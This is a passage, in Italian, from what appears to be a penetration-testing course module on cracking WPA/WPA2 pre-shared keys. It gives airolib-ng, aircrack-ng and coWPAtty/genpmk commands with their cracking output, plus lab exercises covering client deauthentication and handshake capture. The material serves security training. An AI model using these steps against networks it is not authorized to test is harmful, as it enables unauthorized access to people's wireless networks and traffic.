Computed 501 PMK in 2 seconds (250 PMK/s, 0 in buffer). All ESSID processed.
kali@kali:~$ airolib-ng wifu.sqlite --stats
There are 1 ESSIDs and 501 passwords in the database. 501 out of 501 possible combinations have been computed (100%).
ESSID Priority Done
wifu 64 100.0
Listato 43 - Generazione delle PMK per l'ESSID
Una volta completata l'operazione batch, l'output mostra che tutte le combinazioni possibili sono state calcolate per la nostra combinazione di ESSID e password.
Non siamo limitati a un solo ESSID nel database. Possiamo aggiungere più ESSID e possono essere aggiunti in qualsiasi fase. Aggiungendone uno nuovo (o più) a questo punto, poi elaborando il database in batch, verrà calcolata ogni possibile combinazione ESSID/passphrase non ancora elaborata. Possiamo anche eseguire più istanze di elaborazione batch di airolib-ng contemporaneamente.
Ora, invece di usare una wordlist con aircrack-ng, possiamo passare il nome del database usando -r.
kali@kali:~$ aircrack-ng -r wifu.sqlite wpa1-01.cap
Aircrack-ng 1.6
[00:00:00] 16 keys tested (23633.68 k/s)
KEY FOUND! [ password ]
Master Key : 68 72 39 CD 26 DA 6B 12 64 37 1E AB A5 9F E5 7F
29 DE 33 75 0A 12 4C E0 F7 D4 2E 00 4C 51 FB 56
Transient Key : 2F 07 B7 3D 1E D3 AB 73 69 3F 39 99 11 8A 00 4F
C8 29 67 AA 46 35 EF 99 E9 B1 A5 41 DC 29 07 A0
66 EC 9D D8 D5 96 65 D6 DE E4 97 30 9B D7 B8 FC
6F 35 48 82 42 3B EC 11 7A 13 E4 CF 5C 08 4A DB
EAPOL HMAC : 8E 86 F5 EB F6 2A 2A 47 0B 66 9B C7 8A E2 9F 63
Listato 44 - Recupero della password WPA con il database airolib-ng
Nota nell'output di aircrack-ng che le chiavi venivano testate a oltre 23.000 al secondo! Anche questo breve esempio mostra l'enorme beneficio che l'uso di PMK pre-calcolate può fornire.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e usa una passphrase da /usr/share/john/password.lst. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Usando airolib-ng, crea un database contenente l'ESSID del tuo AP e importa la password list di John, /usr/share/john/password.lst
- Usando airolib-ng, elabora in batch le combinazioni PMK.
- Usa aircrack-ng, in congiunzione con il database airolib-ng, per crackare l'handshake WPA nel tuo file di cattura.
7.5. coWPAtty
coWPAtty1 è l'ultimo strumento che esamineremo in questo modulo. È uno strumento versatile che recupera chiavi precondivise WPA usando attacchi a dizionario e rainbow table2. Sebbene coWPAtty non sia più in sviluppo, è ancora utile, soprattutto quando si usa il metodo di attacco rainbow table. Per questo solo motivo, vale la pena aggiungerlo al proprio arsenale di strumenti. Tuttavia, coWPAtty non è installato per impostazione predefinita nella distribuzione Kali attuale, quindi dobbiamo installarlo con sudo apt install cowpatty.
1 (Joshua Wright, 2009), https://www.willhackforsushi.com/?page_id=50 ↩︎
2 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Rainbow_table ↩︎
7.5.1. Modalità Rainbow Table
Lo scopo principale dell'uso di coWPAtty è usare hash pre-calcolati, simile ad airolib-ng, per crackare una passphrase WPA. Usare queste rainbow table (hash pre-calcolati) riduce significativamente il tempo necessario per crackare passphrase WPA, poiché tutto il calcolo viene fatto in anticipo.
Un punto importante da tenere a mente quando si usano hash pre-calcolati è che devono essere generati per ogni ESSID univoco. L'ESSID è combinato con la chiave precondivisa WPA per creare l'hash. Ciò significa che gli hash per l'ESSID "wifu" non saranno gli stessi di quelli per "linksys" o "dlink".
Come abbiamo fatto con airolib-ng, dobbiamo prima generare gli hash per il nostro ESSID insieme a un file dizionario contenente password. coWPAtty include uno strumento, genpmk, che genera le rainbow table necessarie.
Eseguiamo genpmk con -f per definire la nostra wordlist, -d per l'output su file e -s per specificare l'ESSID.
kali@kali:~$ genpmk -f /usr/share/john/password.lst -d wifuhashes -s wifu
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File wifuhashes does not exist, creating.
503 passphrases tested in 1.17 seconds: 429.25 passphrases/second
Listato 45 - Creazione di tabelle hash pre-calcolate con genpmk
Poiché la nostra wordlist è eccezionalmente piccola, la generazione degli hash per il nostro AP ha richiesto poco più di un secondo. Generare hash usando wordlist molto grandi può richiedere ore o anche giorni. Ma una volta generati per un ESSID specifico, possono essere riutilizzati e condivisi.
Eseguiremo coWPAtty con l'opzione -r per specificare il file di cattura, -d per eseguirlo contro il file di hash generato e -s per specificare l'ESSID.
kali@kali:~$ cowpatty -r wpajohn-01.cap -d wifuhashes -s wifu
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
The PSK is "Password123".
503 passphrases tested in 0.00 seconds: 30391.61 passphrases/second
Listato 46 - Utilizzo di tabelle hash pre-calcolate con coWPAtty
Invece del secondo impiegato per crackare la nostra passphrase WPA in modalità wordlist, coWPAtty ha completato in meno di 10 ms!
Sebbene coWPAtty abbia un uso limitato rispetto alla velocità del cracking con GPU, può essere utile per creare hash pre-calcolati quando ci vengono forniti SSID prima di un penetration test. Se gli SSID non vengono forniti, potremmo usare Wigle,1 un'applicazione Wi-Fi basata su mappa, per individuare possibili SSID.
Esercizi
Configura il tuo AP con crittografia WPA/WPA2 PSK e usa una passphrase da /usr/share/john/password.lst. Riconfigura il client vittima per connettersi all'AP.
- Metti la scheda wireless in modalità monitor e avvia una cattura con airodump-ng.
- Deautentica il client vittima e assicurati di aver catturato l'handshake WPA a 4 vie.
- Esegui coWPAtty in modalità wordlist sul tuo file di cattura per recuperare la chiave WPA.
- Genera un set di hash per il tuo AP e usa il file risultante con coWPAtty per vedere la differenza di velocità quando si usano rainbow table.
1 (Wigle.net, 2021), https://wigle.net ↩︎
7.6. Conclusione
In questo modulo, abbiamo iniziato usando la suite Aircrack-ng per crackare un handshake a 4 vie. Per farlo, abbiamo prima usato airmon-ng per mettere la scheda in modalità monitor, poi airodump-ng per identificare l'access point target e il client, e infine salvato il loro traffico. Poi abbiamo deautenticato il client per costringerlo a riautenticarsi e così generato un handshake a 4 vie. Dopo aver catturato l'handshake a 4 vie, abbiamo usato aircrack-ng per crackarlo e infine confermato la chiave usando airdecap-ng.
Sebbene abbiamo messo in scena l'attacco e conoscessimo la passphrase in anticipo, le tecniche qui descritte sono esattamente le stesse quando si tratta di AP nel mondo reale. Oltre alla necessità di un client reale, la complessità sta nell'ambiente (fisico). Dobbiamo essere vicini sia al client sia all'AP per sentire entrambi i lati dell'handshake. Ciascuno genera dati necessari per crackare l'handshake.
Le wordlist predefinite raramente contengono la passphrase (a volte sì). Per migliorare le nostre possibilità, abbiamo trattato l'ampliamento e l'alterazione delle wordlist usando strumenti come John the Ripper, Crunch e RSMangler. Abbiamo inviato i risultati ad aircrack-ng e abbiamo visto come salvarli su disco.
Altri strumenti, come hashcat e coWPAtty, possono essere utili per crackare WPA1/WPA2.
Hashcat è un versatile strumento di password cracking che usa OpenCL, usato principalmente su GPU. Abbiamo imparato come configurarlo per CPU Intel e GPU NVidia, e come usare hashcat per crackare handshake a 4 vie. Il cracking con GPU è considerevolmente più veloce ed efficiente del cracking con CPU, ma richiede una certa configurazione.
coWPAtty non è più in sviluppo, ma può ancora essere uno strumento utile. Con genpmk, coWPAtty è in grado di generare tabelle di hash pre-calcolate per accelerare il cracking in seguito o con aircrack-ng. Sebbene sia molto più dispendioso in termini di tempo rispetto all'uso di aircrack-ng o del cracking con GPU, in alcuni casi può essere utile generare tabelle prima del penetration test.

